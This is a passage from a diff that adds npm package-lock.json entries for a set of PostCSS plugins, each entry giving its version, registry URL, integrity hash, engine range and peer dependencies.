+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-custom-selectors": {
+      "version": "6.0.3",
+      "resolved": "https://registry.npmjs.org/postcss-custom-selectors/-/postcss-custom-selectors-6.0.3.tgz",
+      "integrity": "sha512-fgVkmyiWDwmD3JbpCmB45SvvlCD6z9CG6Ie6Iere22W5aHea6oWa7EM2bpnv2Fj3I94L3VbtvX9KqwSi5aFzSg==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.4"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.3"
+      }
+    },
+    "node_modules/postcss-dir-pseudo-class": {
+      "version": "6.0.5",
+      "resolved": "https://registry.npmjs.org/postcss-dir-pseudo-class/-/postcss-dir-pseudo-class-6.0.5.tgz",
+      "integrity": "sha512-eqn4m70P031PF7ZQIvSgy9RSJ5uI2171O/OO/zcRNYpJbvaeKFUlar1aJ7rmgiQtbm0FSPsRewjpdS0Oew7MPA==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.10"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-discard-comments": {
+      "version": "5.1.2",
+      "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz",
+      "integrity": "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==",
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-discard-duplicates": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-5.1.0.tgz",
+      "integrity": "sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==",
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-discard-empty": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-5.1.1.tgz",
+      "integrity": "sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==",
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-discard-overridden": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-5.1.0.tgz",
+      "integrity": "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==",
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-double-position-gradients": {
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/postcss-double-position-gradients/-/postcss-double-position-gradients-3.1.2.tgz",
+      "integrity": "sha512-GX+FuE/uBR6eskOK+4vkXgT6pDkexLokPaz/AbJna9s5Kzp/yl488pKPjhy0obB475ovfT1Wv8ho7U/cHNaRgQ==",
+      "dependencies": {
+        "@csstools/postcss-progressive-custom-properties": "^1.1.0",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-env-function": {
+      "version": "4.0.6",
+      "resolved": "https://registry.npmjs.org/postcss-env-function/-/postcss-env-function-4.0.6.tgz",
+      "integrity": "sha512-kpA6FsLra+NqcFnL81TnsU+Z7orGtDTxcOhl6pwXeEq1yFPpRMkCDpHhrz8CFQDr/Wfm0jLiNQ1OsGGPjlqPwA==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "peerDependencies": {
+        "postcss": "^8.4"
+      }
+    },
+    "node_modules/postcss-flexbugs-fixes": {
+      "version": "5.0.2",
+      "resolved": "https://registry.npmjs.org/postcss-flexbugs-fixes/-/postcss-flexbugs-fixes-5.0.2.tgz",
+      "integrity": "sha512-18f9voByak7bTktR2QgDveglpn9DTbBWPUzSOe9g0N4WR/2eSt6Vrcbf0hmspvMI6YWGywz6B9f7jzpFNJJgnQ==",
+      "peerDependencies": {
+        "postcss": "^8.1.4"
+      }
+    },
+    "node_modules/postcss-focus-visible": {
+      "version": "6.0.4",
+      "resolved": "https://registry.npmjs.org/postcss-focus-visible/-/postcss-focus-visible-6.0.4.tgz",
+      "integrity": "sha512-QcKuUU/dgNsstIK6HELFRT5Y3lbrMLEOwG+A4s5cA+fx3A3y/JTq3X9LaOj3OC3ALH0XqyrgQIgey/MIZ8Wczw==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.9"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "peerDependencies": {
+        "postcss": "^8.4"
+      }
+    },
+    "node_modules/postcss-focus-within": {
+      "version": "5.0.4",
+      "resolved": "https://registry.npmjs.org/postcss-focus-within/-/postcss-focus-within-5.0.4.tgz",
+      "integrity": "sha512-vvjDN++C0mu8jz4af5d52CB184ogg/sSxAFS+oUJQq2SuCe7T5U2iIsVJtsCp2d6R4j0jr5+q3rPkBVZkXD9fQ==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.9"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "peerDependencies": {
+        "postcss": "^8.4"
+      }
+    },
+    "node_modules/postcss-font-variant": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-font-variant/-/postcss-font-variant-5.0.0.tgz",
+      "integrity": "sha512-1fmkBaCALD72CK2a9i468mA/+tr9/1cBxRRMXOUaZqO43oWPR5imcyPjXwuv7PXbCid4ndlP5zWhidQVVa3hmA==",
+      "peerDependencies": {
+        "postcss": "^8.1.0"
+      }
+    },
+    "node_modules/postcss-gap-properties": {
+      "version": "3.0.5",
+      "resolved": "https://registry.npmjs.org/postcss-gap-properties/-/postcss-gap-properties-3.0.5.tgz",
+      "integrity": "sha512-IuE6gKSdoUNcvkGIqdtjtcMtZIFyXZhmFd5RUlg97iVEvp1BZKV5ngsAjCjrVy+14uhGBQl9tzmi1Qwq4kqVOg==",
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-image-set-function": {
+      "version": "4.0.7",
+      "resolved": "https://registry.npmjs.org/postcss-image-set-function/-/postcss-image-set-function-4.0.7.tgz",
+      "integrity": "sha512-9T2r9rsvYzm5ndsBE8WgtrMlIT7VbtTfE7b3BQnudUqnBcBo7L758oc+o+pdj/dUV0l5wjwSdjeOH2DZtfv8qw==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-import": {
+      "version": "14.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-14.1.0.tgz",
+      "integrity": "sha512-flwI+Vgm4SElObFVPpTIT7SU7R3qk2L7PyduMcokiaVKuWv9d/U+Gm/QAd8NDLuykTWTkcrjOeD2Pp1rMeBTGw==",
+      "dependencies": {
+        "postcss-value-parser": "^4.0.0",
+        "read-cache": "^1.0.0",
+        "resolve": "^1.1.7"
+      },
+      "engines": {
+        "node": ">=10.0.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.0.0"
+      }
+    },
+    "node_modules/postcss-initial": {
+      "version": "4.0.1",
+      "resolved": "https://registry.npmjs.org/postcss-initial/-/postcss-initial-4.0.1.tgz",
+      "integrity": "sha512-0ueD7rPqX8Pn1xJIjay0AZeIuDoF+V+VvMt/uOnn+4ezUKhZM/NokDeP6DwMNyIoYByuN/94IQnt5FEkaN59xQ==",
+      "peerDependencies": {
+        "postcss": "^8.0.0"
+      }
+    },
+    "node_modules/postcss-js": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.0.tgz",
+      "integrity": "sha512-77QESFBwgX4irogGVPgQ5s07vLvFqWr228qZY+w6lW599cRlK/HmnlivnnVUxkjHnCu4J16PDMHcH+e+2HbvTQ==",
+      "dependencies": {
+        "camelcase-css": "^2.0.1"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >= 16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/postcss/"
+      },
+      "peerDependencies": {
+        "postcss": "^8.3.3"
+      }
+    },
+    "node_modules/postcss-lab-function": {
+      "version": "4.2.1",
+      "resolved": "https://registry.npmjs.org/postcss-lab-function/-/postcss-lab-function-4.2.1.tgz",
+      "integrity": "sha512-xuXll4isR03CrQsmxyz92LJB2xX9n+pZJ5jE9JgcnmsCammLyKdlzrBin+25dy6wIjfhJpKBAN80gsTlCgRk2w==",
+      "dependencies": {
+        "@csstools/postcss-progressive-custom-properties": "^1.1.0",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-load-config": {
+      "version": "3.1.4",
+      "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-3.1.4.tgz",
+      "integrity": "sha512-6DiM4E7v4coTE4uzA8U//WhtPwyhiim3eyjEMFCnUpzbrkK9wJHgKDT2mR+HbtSrd/NubVaYTOpSpjUl8NQeRg==",
+      "dependencies": {
+        "lilconfig": "^2.0.5",
+        "yaml": "^1.10.2"
+      },
+      "engines": {
+        "node": ">= 10"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/postcss/"
+      },
+      "peerDependencies": {
+        "postcss": ">=8.0.9",
+        "ts-node": ">=9.0.0"
+      },
+      "peerDependenciesMeta": {
+        "postcss": {
+          "optional": true
+        },
+        "ts-node": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/postcss-loader": {
+      "version": "6.2.1",
+      "resolved": "https://registry.npmjs.org/postcss-loader/-/postcss-loader-6.2.1.tgz",
+      "integrity": "sha512-WbbYpmAaKcux/P66bZ40bpWsBucjx/TTgVVzRZ9yUO8yQfVBlameJ0ZGVaPfH64hNSBh63a+ICP5nqOpBA0w+Q==",
+      "dependencies": {
+        "cosmiconfig": "^7.0.0",
+        "klona": "^2.0.5",
+        "semver": "^7.3.5"
+      },
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependencies": {
+        "postcss": "^7.0.0 || ^8.0.1",
+        "webpack": "^5.0.0"
+      }
+    },
+    "node_modules/postcss-logical": {
+      "version": "5.0.4",
+      "resolved": "https://registry.npmjs.org/postcss-logical/-/postcss-logical-5.0.4.tgz",
+      "integrity": "sha512-RHXxplCeLh9VjinvMrZONq7im4wjWGlRJAqmAVLXyZaXwfDWP73/oq4NdIp+OZwhQUMj0zjqDfM5Fj7qby+B4g==",
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "peerDependencies": {
+        "postcss": "^8.4"
+      }
+    },
+    "node_modules/postcss-media-minmax": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-media-minmax/-/postcss-media-minmax-5.0.0.tgz",
+      "integrity": "sha512-yDUvFf9QdFZTuCUg0g0uNSHVlJ5X1lSzDZjPSFaiCWvjgsvu8vEVxtahPrLMinIDEEGnx6cBe6iqdx5YWz08wQ==",
+      "engines": {
+        "node": ">=10.0.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.1.0"
+      }
+    },
+    "node_modules/postcss-merge-longhand": {
+      "version": "5.1.6",
+      "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-5.1.6.tgz",
+      "integrity": "sha512-6C/UGF/3T5OE2CEbOuX7iNO63dnvqhGZeUnKkDeifebY0XqkkvrctYSZurpNE902LDf2yKwwPFgotnfSoPhQiw==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0",
+        "stylehacks": "^5.1.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-merge-rules": {
+      "version": "5.1.2",
+      "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-5.1.2.tgz",
+      "integrity": "sha512-zKMUlnw+zYCWoPN6yhPjtcEdlJaMUZ0WyVcxTAmw3lkkN/NDMRkOkiuctQEoWAOvH7twaxUUdvBWl0d4+hifRQ==",
+      "dependencies": {
+        "browserslist": "^4.16.6",
+        "caniuse-api": "^3.0.0",
+        "cssnano-utils": "^3.1.0",
+        "postcss-selector-parser": "^6.0.5"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-minify-font-values": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-5.1.0.tgz",
+      "integrity": "sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-minify-gradients": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-5.1.1.tgz",
+      "integrity": "sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==",
+      "dependencies": {
+        "colord": "^2.9.1",
+        "cssnano-utils": "^3.1.0",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-minify-params": {
+      "version": "5.1.3",
+      "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-5.1.3.tgz",
+      "integrity": "sha512-bkzpWcjykkqIujNL+EVEPOlLYi/eZ050oImVtHU7b4lFS82jPnsCb44gvC6pxaNt38Els3jWYDHTjHKf0koTgg==",
+      "dependencies": {
+        "browserslist": "^4.16.6",
+        "cssnano-utils": "^3.1.0",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-minify-selectors": {
+      "version": "5.2.1",
+      "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-5.2.1.tgz",
+      "integrity": "sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.5"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-modules-extract-imports": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.0.0.tgz",
+      "integrity": "sha512-bdHleFnP3kZ4NYDhuGlVK+CMrQ/pqUm8bx/oGL93K6gVwiclvX5x0n76fYMKuIGKzlABOy13zsvqjb0f92TEXw==",
+      "engines": {
+        "node": "^10 || ^12 || >= 14"
+      },
+      "peerDependencies": {
+        "postcss": "^8.1.0"
+      }
+    },
+    "node_modules/postcss-modules-local-by-default": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.0.tgz",
+      "integrity": "sha512-sT7ihtmGSF9yhm6ggikHdV0hlziDTX7oFoXtuVWeDd3hHObNkcHRo9V3yg7vCAY7cONyxJC/XXCmmiHHcvX7bQ==",
+      "dependencies": {
+        "icss-utils": "^5.0.0",
+        "postcss-selector-parser": "^6.0.2",
+        "postcss-value-parser": "^4.1.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >= 14"
+      },
+      "peerDependencies": {
+        "postcss": "^8.1.0"
+      }
+    },
+    "node_modules/postcss-modules-scope": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-3.0.0.tgz",
+      "integrity": "sha512-hncihwFA2yPath8oZ15PZqvWGkWf+XUfQgUGamS4LqoP1anQLOsOJw0vr7J7IwLpoY9fatA2qiGUGmuZL0Iqlg==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.4"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >= 14"
+      },
+      "peerDependencies": {
+        "postcss": "^8.1.0"
+      }
+    },
+    "node_modules/postcss-modules-values": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz",
+      "integrity": "sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==",
+      "dependencies": {
+        "icss-utils": "^5.0.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >= 14"
+      },
+      "peerDependencies": {
+        "postcss": "^8.1.0"
+      }
+    },
+    "node_modules/postcss-nested": {
+      "version": "5.0.6",
+      "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-5.0.6.tgz",
+      "integrity": "sha512-rKqm2Fk0KbA8Vt3AdGN0FB9OBOMDVajMG6ZCf/GoHgdxUJ4sBFp0A/uMIRm+MJUdo33YXEtjqIz8u7DAp8B7DA==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.6"
+      },
+      "engines": {
+        "node": ">=12.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/postcss/"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.14"
+      }
+    },
+    "node_modules/postcss-nesting": {
+      "version": "10.2.0",
+      "resolved": "https://registry.npmjs.org/postcss-nesting/-/postcss-nesting-10.2.0.tgz",
+      "integrity": "sha512-EwMkYchxiDiKUhlJGzWsD9b2zvq/r2SSubcRrgP+jujMXFzqvANLt16lJANC+5uZ6hjI7lpRmI6O8JIl+8l1KA==",
+      "dependencies": {
+        "@csstools/selector-specificity": "^2.0.0",
+        "postcss-selector-parser": "^6.0.10"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-normalize": {
+      "version": "10.0.1",
+      "resolved": "https://registry.npmjs.org/postcss-normalize/-/postcss-normalize-10.0.1.tgz",
+      "integrity": "sha512-+5w18/rDev5mqERcG3W5GZNMJa1eoYYNGo8gB7tEwaos0ajk3ZXAI4mHGcNT47NE+ZnZD1pEpUOFLvltIwmeJA==",
+      "dependencies": {
+        "@csstools/normalize.css": "*",
+        "postcss-browser-comments": "^4",
+        "sanitize.css": "*"
+      },
+      "engines": {
+        "node": ">= 12"
+      },
+      "peerDependencies": {
+        "browserslist": ">= 4",
+        "postcss": ">= 8"
+      }
+    },
+    "node_modules/postcss-normalize-charset": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz",
+      "integrity": "sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==",
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-normalize-display-values": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-5.1.0.tgz",
+      "integrity": "sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-normalize-positions": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-5.1.1.tgz",
+      "integrity": "sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-normalize-repeat-style": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-5.1.1.tgz",
+      "integrity": "sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-normalize-string": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-5.1.0.tgz",
+      "integrity": "sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-normalize-timing-functions": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-5.1.0.tgz",
+      "integrity": "sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-normalize-unicode": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-5.1.0.tgz",
+      "integrity": "sha512-J6M3MizAAZ2dOdSjy2caayJLQT8E8K9XjLce8AUQMwOrCvjCHv24aLC/Lps1R1ylOfol5VIDMaM/Lo9NGlk1SQ==",
+      "dependencies": {
+        "browserslist": "^4.16.6",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-normalize-url": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-5.1.0.tgz",
+      "integrity": "sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==",
+      "dependencies": {
+        "normalize-url": "^6.0.1",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-normalize-whitespace": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-5.1.1.tgz",
+      "integrity": "sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-opacity-percentage": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/postcss-opacity-percentage/-/postcss-opacity-percentage-1.1.2.tgz",
+      "integrity": "sha512-lyUfF7miG+yewZ8EAk9XUBIlrHyUE6fijnesuz+Mj5zrIHIEw6KcIZSOk/elVMqzLvREmXB83Zi/5QpNRYd47w==",
+      "funding": [
+        {
+          "type": "kofi",
+          "url": "https://ko-fi.com/mrcgrtz"
+        },
+        {
+          "type": "liberapay",
+          "url": "https://liberapay.com/mrcgrtz"
+        }
+      ],
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      }
+    },
+    "node_modules/postcss-ordered-values": {
+      "version": "5.1.3",
+      "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-5.1.3.tgz",
+      "integrity": "sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==",
+      "dependencies": {
+        "cssnano-utils": "^3.1.0",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-overflow-shorthand": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/postcss-overflow-shorthand/-/postcss-overflow-shorthand-3.0.4.tgz",
+      "integrity": "sha512-otYl/ylHK8Y9bcBnPLo3foYFLL6a6Ak+3EQBPOTR7luMYCOsiVTUk1iLvNf6tVPNGXcoL9Hoz37kpfriRIFb4A==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-page-break": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/postcss-page-break/-/postcss-page-break-3.0.4.tgz",
+      "integrity": "sha512-1JGu8oCjVXLa9q9rFTo4MbeeA5FMe00/9C7lN4va606Rdb+HkxXtXsmEDrIraQ11fGz/WvKWa8gMuCKkrXpTsQ==",
+      "peerDependencies": {
+        "postcss": "^8"
+      }
+    },
+    "node_modules/postcss-place": {
+      "version": "7.0.5",
+      "resolved": "https://registry.npmjs.org/postcss-place/-/postcss-place-7.0.5.tgz",
+      "integrity": "sha512-wR8igaZROA6Z4pv0d+bvVrvGY4GVHihBCBQieXFY3kuSuMyOmEnnfFzHl/tQuqHZkfkIVBEbDvYcFfHmpSet9g==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-preset-env": {
+      "version": "7.8.2",
+      "resolved": "https://registry.npmjs.org/postcss-preset-env/-/postcss-preset-env-7.8.2.tgz",
+      "integrity": "sha512-rSMUEaOCnovKnwc5LvBDHUDzpGP+nrUeWZGWt9M72fBvckCi45JmnJigUr4QG4zZeOHmOCNCZnd2LKDvP++ZuQ==",
+      "dependencies": {
+        "@csstools/postcss-cascade-layers": "^1.1.0",
+        "@csstools/postcss-color-function": "^1.1.1",
+        "@csstools/postcss-font-format-keywords": "^1.0.1",
+        "@csstools/postcss-hwb-function": "^1.0.2",
+        "@csstools/postcss-ic-unit": "^1.0.1",
